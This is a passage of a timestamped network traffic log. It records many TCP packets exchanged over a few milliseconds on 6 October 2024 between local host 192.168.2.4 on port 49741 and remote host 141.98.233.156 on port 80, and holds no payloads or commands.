Oct 6, 2024 22:33:10.046569109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046585083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046629906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046669960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046685934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046703100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046719074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046734095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046737909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046750069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046753883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046771049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046811104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.046945095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046961069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046974897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.046991110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047007084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047009945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047045946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047255039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047271013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047286034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047298908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047312975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047327042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047348022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047352076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047363043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047369003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047393084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047413111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047414064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047414064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047429085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047439098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047445059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047455072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047460079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047477007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047477961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047487020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047503948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047522068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047728062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047744036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047758102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047771931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047791958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047791958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047841072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047856092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047871113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.047895908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047914028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.047955990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048058987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048074007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048089027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048100948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048106909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048121929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048122883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048141003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048145056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048168898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048187017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048374891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048391104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048405886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048415899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048419952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048427105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048437119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048450947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048460007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048468113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048476934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048495054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048676968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048692942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048707008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048715115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048722029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048731089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048737049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048753977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048762083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048769951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048784018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048785925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.048811913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.048830986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049041986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049066067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049082041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049097061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049112082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049113989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049127102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049139023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049144030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049158096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049160004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049175024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049185038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049191952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049207926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049207926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049232006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049256086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049453020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049467087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049490929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049495935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049505949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049506903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049523115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049530983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049539089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049545050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049556017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049565077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049582005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049599886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049782038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049797058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049812078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049828053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049833059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049841881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049843073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049865961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049868107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049885035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049890041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049901009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049913883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049917936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.049931049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049941063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.049958944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.050214052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.050230026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.050245047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.050260067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.050263882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.050273895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.050276041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.050292969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.050298929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.050321102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.050345898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.130142927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130191088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130207062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130220890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130237103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130250931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130255938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.130266905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130285978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.130317926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.130347967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.131789923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.131844997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.131858110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.131870985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.131910086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.131944895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.131959915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.131975889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.131988049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.131990910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132002115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132019997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132040024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132131100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132145882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132177114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132200956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132215023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132230043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132245064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132253885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132260084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132267952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132286072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132304907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132369995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132385969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132401943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132417917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132436991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132461071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132503033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132549047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132564068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132580042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132594109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132610083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132621050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132625103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132647991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132658005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132790089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132806063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132821083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132852077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132877111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132891893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132908106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132926941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.132951021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.132973909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133080006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133094072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133107901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133124113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133126974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133141041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133146048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133168936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133192062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133320093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133335114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133351088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133364916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133366108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133379936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133384943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133404016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133425951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133584976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133599997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133615017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133630037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133642912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133646965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133661032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133671999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133685112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133711100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133847952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133862019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133869886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133883953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133898020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133899927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133913994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133923054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133929968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133936882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133949041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.133965015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.133987904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134166956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134181976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134196997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134211063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134215117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134227037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134236097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134241104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134253025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134258032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134275913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134279013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134303093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134327888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134445906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134462118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134505033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134617090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134632111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134646893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134660959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134674072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134675980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134684086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134691000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134706020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134711981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134721994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134736061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134737015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134754896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.134763002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.134789944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135107040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135123014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135137081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135150909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135158062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135165930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135179996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135181904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135196924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135205984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135211945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135220051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135227919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135241985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135248899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135257959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135272980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135278940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135304928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135305882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135329962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135358095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135549068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135564089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135577917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135592937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135607004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135607958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135617018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135638952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135653973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135672092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135766983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135782003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135797024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135808945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135812998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135822058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135828972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135838032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135847092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.135854959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135873079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.135888100 CEST	49741	80	192.168.2.4	141.98.233.156
